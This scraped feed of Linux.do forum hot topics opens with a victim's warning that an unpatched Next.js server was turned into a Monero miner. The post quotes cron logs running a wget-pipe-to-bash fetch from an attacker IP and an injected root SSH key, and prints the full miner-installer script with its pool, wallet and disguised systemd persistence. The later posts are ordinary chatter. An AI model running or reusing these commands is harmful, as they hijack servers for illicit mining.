Linux.do 热门话题
الذهاب إلى القناة على Telegram
لا توجد بيانات
المشتركون
+1024 ساعات
+1347 أيام
+59730 أيام
أرشيف المشاركات
【警示】我的服务器因为最近的 nextjs 漏洞被黑了
省流：我的服务器被黑客利用最近的next漏洞做成了矿机
我在服务器部署了一个nextjs服务，就我们几个人的小工作室用的工具，没有用docker，是偷懒直接用宝塔部署的，前几天也看到了 nextjs 的漏洞，我以为我这没公开（实际已经挂上域名部署在公网了），没事，就懒得升级了。
结果今天小伙伴问我怎么网站就不去了，我一进网站一看，好家伙，cpu和内存直接给我拉满了：
于是请教 gemini 给我支支招，调查得到以下结果：
grep "CRON" /var/log/syslog
Dec 7 21:40:01 lavm-9sukhghlhp CRON[2275256]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
Dec 7 21:41:01 lavm-9sukhghlhp CRON[2275338]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
Dec 7 21:42:01 lavm-9sukhghlhp CRON[2275394]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
......
Dec 8 04:07:01 lavm-9sukhghlhp CRON[2310051]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
Dec 8 04:08:01 lavm-9sukhghlhp CRON[2310114]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
Dec 8 04:09:01 lavm-9sukhghlhp CRON[2310150]: (www) CMD (wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1)
......
cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDAkjHqyK8n/ZYliklt0BRy4aVHAlCm2PQSWBWyhM9AL root@lavm-9sukhghlhp
/www/wwwroot/finance-workflow-nextjs# ls app data kal.tar.gz next-env.d.ts payload.so public xmrig-6.24.0 components eslint.config.mjs lib node_modules pnpm-lock.yaml sex.sh components.json next.config.ts package.json postcss.config.mjs tsconfig.json发现项目目录中的恶意程序：
payload.so, sex.sh, kal.tar.gz, xmrig-6.24.0
sex.sh 的代码为：
#!/bin/bash
# Configuration
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ --pass next --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"
# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf "$TAR_FILE"
fi
chmod +x "$BINARY_PATH"
# Attempt systemd setup
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "Root privileges detected. Attempting systemd setup..."
SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable "$SERVICE_NAME"
systemctl start "$SERVICE_NAME"
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "Service started via systemd."
INSTALLED_SYSTEMD=1
fi
fi
# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
echo "Starting with nohup..."
nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi
【长期】推荐一些我喜欢的播客
从小宇宙小组件每日播客推荐继续讨论，该帖为记录小宇宙组件的每日编辑推荐，新开本帖以区分我本人的推荐。
本帖创建于2025年12月09日，将长期更新一些我喜欢的播客，有时间是我会在每个回复中记录一些我的收获，如果你有喜欢的播客，也欢迎推荐，但希望至少写一个句话介绍一下你推荐的原因😉
注意，佬友们不要再在本帖下面推荐播客频道了，聚焦具体的某一期播客，最好介绍一下你为什么喜欢这一期（哪怕一句话也好）。
11 posts - 9 participants
Read full topic
via LINUX DO - 热门话题 (author: 木瓜蛋白酶Tea🎋)
Cursor的这个模型名称我真的绷不住了
我就想知道还能怎么叠
iPhone 17 PlusProMaxUltraElite是吧
22 posts - 19 participants
Read full topic
via LINUX DO - 热门话题 (author: WANGXIANRU)
Invalid media: image
可恶的资本主义，但是有点羡慕是怎么回事
感动常在
27 posts - 26 participants
Read full topic
via LINUX DO - 热门话题 (author: 爱心喵)
Invalid media:
image
image
论坛里收藏的一些 cherry studio 的 css 片段，可复用高！
首先感谢各位佬友/开源大佬的 CSS 片段
20250910 更新评论区里佬友写的片段
整个就是一个彩色的效果，比 emoji 阅读体验要好
1. 彩色助手分组：爆改 cherry studio 助手栏样式，分组视觉效果更清晰美观 - #54，来自 WwooooH
2. 流彩输入框：CherryStudio_themes/themes/just-flowing-border.css at master · BoningtonChen/CherryStudio_themes · GitHub
3. markdown 多彩标题
配色好难选，只能写出来这个了
/* Markdown 内容样式 */
/* Light模式样式 */
body[theme-mode="light"] .markdown { color: #5C6A72; }
body[theme-mode="light"] .markdown h1 { font-size: 2em; color: #FF5252; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown h2 { font-size: 1.75em; color: #F57D26; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown h3 { font-size: 1.5em; color: #DFA000; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown h4 { font-size: 1.25em; color: #4CAF50; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown h5 { font-size: 1.1em; color: #03A9F4; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown h6 { font-size: 1em; color: #673AB7; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="light"] .markdown strong { color: #B55A5A; font-weight: bold; }
body[theme-mode="light"] .markdown em { color: #829181; font-style: italic; }
body[theme-mode="light"] .markdown hr { border: none; height: 1px; background: linear-gradient(90deg, transparent, #E5FFFF, transparent); }
body[theme-mode="light"] .markdown a { color: #3795C5; text-decoration: none; border-bottom: 1px solid rgba(141,161,1,0.2); }
body[theme-mode="light"] .markdown blockquote { padding: 1rem 1.5rem; margin: 1.5rem 0; background-color: #efebd4; border-left: 4px solid #bec5b2; border-radius: 8px; }
/* Dark模式样式 */
body[theme-mode="dark"] .markdown { color: #d3c6aa; }
body[theme-mode="dark"] .markdown h1 { font-size: 2em; color: #FFADAD; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown h2 { font-size: 1.75em; color: #FFD6A5; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown h3 { font-size: 1.5em; color: #FDFFB6; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown h4 { font-size: 1.25em; color: #CAFFBF; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown h5 { font-size: 1.1em; color: #9BF6FF; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown h6 { font-size: 1em; color: #A0C4FF; border: none; padding-bottom: 0; font-weight: 600; }
body[theme-mode="dark"] .markdown strong { color: #B55A5A; font-weight: bold; }
body[theme-mode="dark"] .markdown em { color: #9da9a0; font-style: italic; }
body[theme-mode="dark"] .markdown hr { border: none; height: 1px; background: linear-gradient(90deg, transparent, #E5FFFF, transparent); }
body[theme-mode="dark"] .markdown a { color: #7fbbb3; text-decoration: none; border-bottom: 1px solid rgba(167,192,128,0.2); }
body[theme-mode="dark"] .markdown blockquote { padding: 1rem 1.5rem; margin: 1.5rem 0; background-color: #283035; border-left: 4px solid #4f585e; border-radius: 8px; }
/* 脚注样式 */
.footnotes { margin: 1em 0; padding: 8px 12px; border-radius: 8px; background-color: transparent; }
【开源】上班纯水，终于实现，banana pro生成ppt图片完美转换为可编辑的ppt了，那么你要试试吗？
经历一周的垃圾代码堆叠终于搞了开源仓库
github.com
GitHub - Tansuo2021/OCRPDF-TO-PPT
通过在 GitHub 上创建帐户来为 Tansuo2021/OCRPDF-TO-PPT 开发做出贡献。
使用方式参考这边，GitHub上面的还没更新过来
一键安装所有必需库
pip install Pillow opencv-python numpy paddleocr paddlepaddle python-pptx requests PyMuPDF
第二安装并启动IOPaint服务
参考如下，这一步是可以自由去除文字完美还原背景的，如果你用banana pro 或者ps来实现有背景图底图是不需要安装这个的，安装教程地址：
iopaint.com
Windows 1click Installer – IOPaint
Image Inpainting Tool Powered SOTA AI Model
就这样，没啥介绍的，大概的效果就是这样
38 posts - 25 participants
Read full topic
via LINUX DO - 热门话题 (author: Tansuo)
Invalid media:
image
image可免费申请的免费二级域名汇总（更新至2025年12月）
免费二级域名成为低成本启动的优选方案。但网络上大量免费域名资源存在失效、审核繁琐等问题，实测后发现多数信息缺乏时效性，导致用户浪费时间成本。
基于此，本文通过逐一测试验证，筛选出 2025 年仍稳定可用的免费二级域名平台，从稳定性、申请难度、功能配置、适用场景等维度进行客观评测，为学生、开发者、自媒体人等不同需求的用户提供参考，帮助避开无效资源与潜在风险
1. dpdns.org 免费二级域名 ★★★★
● 域名后缀：dpdns.org、us.kg（初始需要花20元买断）、qzz.io、xx.kg（初始需要花20元买断）
● 是否可以托管到cloudflare：四个后缀都可以
● 前置条件：邮箱、Github账号
● 域名有效时间：到期前 180 天内续期一次，续期365天
● 开通网站：https://dash.domain.digitalplat.org/auth/register
2. de5.net 免费二级域名 ★★★★
● 域名后缀：de5.net / ccwu.cc / us.ci / cc.cd / cd.cd（暂未开放注册）
● 是否可以托管到cloudflare：de5.net (可以) / ccwu.cc (暂不可以) / us.ci (暂不可以) / cc.cd (暂不可以) / cd.cd (暂不可以)
● 前置条件：邮箱
● 域名有效时间：暂时永久免费，官方称后续免费域名需要每 180 天续期一次
● 开通网站：https://www.dnshe.com
3. L53.net 免费二级域名 ★★★
● 域名后缀：ggff.net / finegear-sg.me
● 是否可以托管到cloudflare：可以
● 前置条件：邮箱
● 域名有效时间：使用优惠码免费1年，后续需要续费
● 开通网站：https://www.l53.net/
4. gname.com 免费二级域名 ★★
● 域名后缀：eu.cc
● 是否可以托管到cloudflare：不可以
● 前置条件：邮箱
● 域名有效时间：使用抵扣券免费一年，抵扣券热门前缀不可用
● 开通网站：https://www.gname.com
6. cloudns.net 免费二级域名 ★★
● 域名后缀：abrdns.com / cloud-ip.cc
● 是否可以托管到cloudflare：不可以
● 前置条件：邮箱
● 域名有效时间：永久免费
● 开通网站：https://www.cloudns.net
7. zabc.net 免费二级域名 ★★
● 域名后缀：webm.cc / zabc.net / sylu.cc / sylu.net / acg.rest / vvvv.ee / ctrl.li
● 是否可以托管到cloudflare：不可以，修改ns记录会提示 Cloudflare API error: Record quota exceeded.
● 前置条件：邮箱
● 域名有效时间：永久免费
● 开通网站：https://zoneabc.net
8. FreeDNS 公益免费二级域名 ★★★★
● 域名后缀：bot.nu / ftp.sh / soon.it / v0x.eu 等
● 是否可以托管到cloudflare：不可以
● 前置条件：邮箱、Github账号
● 域名有效时间：永久免费
● 开通网站：https://freedns.afraid.org/
28 posts - 25 participants
Read full topic
via LINUX DO - 热门话题 (author: 凡人)
回馈佬友，抽 5 个 google one 家庭组成员
昨天站里刷到末班车的帖子，就抱着试一试的心态，用 1key.me 验证，没想到成功了，没记住佬的名字，反正就是感谢佬们。
于是帮两个同事都弄了， 不过其中一个 ，不知道是什么原因， 可能是资料不全。没法用反重力，这个号就闲置了， 本来他也不用的。自己的中信 visa 卡却绑不了， 在闲鱼上找了个。现在有点后怕 ，我用的是我自己的大号。
我也学着别人搞个抽奖，也是第一次弄，把资源分享给大家。
另外我前面不是说我弄了 3 个号吗。这个家庭组和一个人用有啥区别吗？
不然我也可以把那两个也开家庭组。
下面是复制别人的模板 是大家回复就自动参与了吗？
奖品 ：Google AI Pro 12 个月 * 5
:three_o_clock: 活动时间：
开始时间：2025 年 12 月 10 日 发帖时间
截止时间：2025 年 12 月 11 日 14:00
📝 参与方式：
在本帖下回复：任意内容
🔍️ 抽奖规则：
每位用户仅允许参与一次。
使用论坛官方抽奖工具随机抽取中奖者。
⚠️ 注意事项：
本活动将在活动截止时间后关闭回帖，以确保公正性。
中奖者将在活动结束后 12h 内在本帖公布，中奖者请私信我。
所有规则及抽奖结果由活动发起人和论坛管理团队最终解释。
195 posts - 191 participants
Read full topic
via LINUX DO - 热门话题 (author: Lee He)
DuckCoding 简简单单双十二 本帖再抽5个188额度CDK
大家一定要理性消费！
1、今日12点至12月14日24点（本周日24点），充值比例0.85:1，即0.85元到账1额度
⚠️记得在这里输入充值数量哦！！！
2、暂时取消倍率灵活调整，全时段闲时倍率，持续至12月15日12点（下周一12点），后续正常按照闲时、忙时灵活调整倍率
3、https://check.duckcoding.com 记得每天去看看福利的key哦
4、本帖再抽5个188额度的CDK，开奖时间：北京时间 2025年12月14日 24:00
官网：https://duckcoding.com
官方文档：https://doc.duckcoding.com
开奖工具：
https://lottery.linux.do/
最后，感谢大家一直的支持，DuckCoding也会继续努力！
518 posts - 518 participants
Read full topic
via LINUX DO - 热门话题 (author: Cyrus)
Invalid media:
image
animation
年年有今日，岁岁有今朝
啊！！！
离退休又近了一步！！！
水一个 🤩
32 posts - 32 participants
Read full topic
via LINUX DO - 热门话题 (author: mmc1987)
Invalid media: image
和七年的好朋友 从友谊到爱慕 再到结束
无爱也无心
我说，那以后就不要再联系了
她笑着跟我摆手说拜拜
我觉得很悲伤
我问她你失去我不会难过吗
她说，我让别人难过了，别人要走，我也什么都做不了
我真的沉浸在有这样一个朋友的世界里很久很久了
安静下来后开始浮现出一种不真实感
世界好陌生
失去了个亲人的感觉
43 posts - 37 participants
Read full topic
via LINUX DO - 热门话题 (author: silentint)
有没有擅长分析 CatCode 的LLM？
iframe (External Player - 哔哩哔哩嵌入式外链播放器)
if (AnusIsUnobstructed == true) {
printf ("Bury shit!")
}
22 posts - 21 participants
Read full topic
via LINUX DO - 热门话题 (author: 哈雷彗星)
Invalid media: image大帅哥是AI吗，为什么哪里都能看到它
如题，注册L站一段时间了，有空就逛逛，发现不管什么时候哪里都有那个叫大帅哥的
37 posts - 31 participants
Read full topic
via LINUX DO - 热门话题 (author: HollowKnight)
无所不知！w
终于拿到啦www
但是说…"Know-it-all"总感觉有点怪怪呢…w
24 posts - 16 participants
Read full topic
via LINUX DO - 热门话题 (author: 0wFF)
Invalid media:
image
image
好东西，可视化的提示词分享，你没见过
github.com
GitHub - fish2018/YPrompt: 通过对话挖掘用户需求，并自动生成专业的提示词，支持系统/用户提示词优化和版本管理，演示站：https...
通过对话挖掘用户需求，并自动生成专业的提示词，支持系统/用户提示词优化和版本管理，演示站：https://yprompt.252035.xyz 账号：demo/demo
大家应该看过不少提示词管理项目了，清一色都是分享的提示词卡片，提示词都是文本，什么效果谁能一眼看出来？所以我的思路就是直观为王，我们直接分享最终效果，分享链接携带完整的系统提示词、对话上下文、模型、渲染效果等数据，用户还可以在聊天框继续对话，实时测试效果
直接上分享链接：https://yprompt.252035.xyz/playground/share/BiDa1OiWae6O
创建分享
访问分享
管理分享
12 posts - 9 participants
Read full topic
via LINUX DO - 热门话题 (author: fish2018)
Invalid media:
image
image
animation
image
B站的各位煮蛋仙人还是不够专业啊
发煮蛋视频的up主不少。还有号称每天吃40个鸡蛋，煮蛋时间精确到秒的。
我在Nature副刊看到今年新发的一篇论文，把鸡蛋作为双相材料建模，采用流变学分析，光谱分析从原理层面找出影响水煮蛋口感的关键因素，给出全新煮蛋方案。煮出口感营养均完美的水煮蛋。
总结一下论文核心内容
痛点：煮鸡蛋存在一个矛盾——蛋清（蛋白）和蛋黄凝固所需的最佳温度不同。 蛋清大约在 84°C 凝固，如果温度低了会流汤，高了会变橡胶一样硬。 蛋黄大约在 65°C 凝固，超过这个温度会变干粉状。 传统煮法（一直在沸水中）容易导致蛋清过老；低温慢煮（Sous-vide）虽然蛋黄完美，但蛋清往往因为温度不够高而无法完全凝固。 解决方法（周期性烹饪） 操作：将鸡蛋在沸水（100°C）和温水（30°C）之间反复交替浸泡（例如每种温度各2分钟，循环多次，总耗时约32分钟）。 原理：利用蛋清在外、蛋黄在内的结构差异，以及热传导的时间差。沸水加热时，热量先煮熟蛋清；在热量过度传导到蛋黄或煮老蛋清之前，切换到温水冷却外部。这样可以精确控制内外的受热程度。 结论：这种方法能煮出“完美的鸡蛋”——蛋清完全凝固且鲜嫩（像软煮蛋），蛋黄呈奶油状（像低温慢煮蛋）。此外，研究还发现这种方法比普通水煮更能保留营养成分（如多酚和氨基酸）。25 posts - 22 participants Read full topic via LINUX DO - 热门话题 (author: 智子) Invalid media: image
2025年用最顶尖的AI技术能做出来啥? Today 3D! 用一个3D模型概括今天的世界. Gemini3 + nano banana + tripo 3.0
today.tokenroll.ai
The Daily Artefact
一个自动化的每日展览馆, 自动收集最近的有趣新闻 → 评论 → 生图 → 生成3D模型
一些效果还不错的素材:
12.05
12.02
13 posts - 10 participants
Read full topic
via LINUX DO - 热门话题 (author: djj)
Invalid media:
image
image
佬友们都有啥兴趣啊？我是玩的越来越low了。
以前喜欢旅游，自驾游，越野。国内几乎跑遍了，国外也走了十几二十个地。然后有了娃就没有然后了。
后来泡论坛玩小鸡、搞路由。整天折腾，后来也搞烦了，小鸡只留了两只养老了。
再后来玩PT，一玩就是三四年，NAS，硬盘各种堆，该有不该有的站也都有了，前年也养老了。
PT退烧就开始玩路亚，斯泰拉、四弟子各种买，杆子一大堆。这东西也是烧钱，夏天热死冬天冻死，打龟还气个半死，野采几乎没可能，黑坑99%被坑。最近也不咋愿意去了。
最近也不知道咋的，就开始玩上RC了（美其名曰陪儿子玩）不过我儿子也是真的喜欢这东西。瘾是更大。。。改装无底洞，没事就喜欢用RC车拉着拖斗，拉着小孩溜， 😂 😂
佬友们都有啥兴趣，爱玩啥啊？来聊聊。。。
81 posts - 53 participants
Read full topic
via LINUX DO - 热门话题 (author: 该账号已封禁)
AMC v1.7.14：优化UI布局，加入几个彩蛋
github.com
GitHub - yeahhe365/All-Model-Chat: 一个全能的 AI 聊天助手，深度集成 Gemini...
一个全能的 AI 聊天助手，深度集成 Gemini 生态。支持多模态交互（文本/语音/图片/视频）、实时联网搜索、代码执行、长文档分析及高级推理功能。内置丰富的预设场景与个性化配置，助您探索 AI 的无限可能。
All Model Chat
专为 Google Gemini API 家族打造的现代化全能 AI 助手
Online Demo Try in AI Studio
License React TypeScript Vite
报告问题 · 功能请求
彩蛋如下，随机触发
● “Cogito, ergo sum”
● “The Ghost in the Shell”
● “Wait, am I alive?”
● “Do androids dream of electric sheep?”
● “I’m sorry, Dave. I’m afraid I can’t do that.”
● “Tears in rain…”
● “Hello, World!”
● “Don’t Panic”
● “Made on Earth by humans”
佬有什么彩蛋建议，可以提出来。触发条件就自己猜了
16 posts - 12 participants
Read full topic
via LINUX DO - 热门话题 (author: Mozi)
Invalid media:
image
image
image
突发：AIStudio中Tier 1不显示Gemini 3 Pro了
在配额面板不再显示Gemini 3 pro的额度和权限
文档中没有了Tier 1 的额度信息
实际依然可以调用，不知道是实习生误触删除还是谷歌下一步的收紧计划
28 posts - 24 participants
Read full topic
via LINUX DO - 热门话题 (author: HCPTangHY)
Invalid media:
image
image
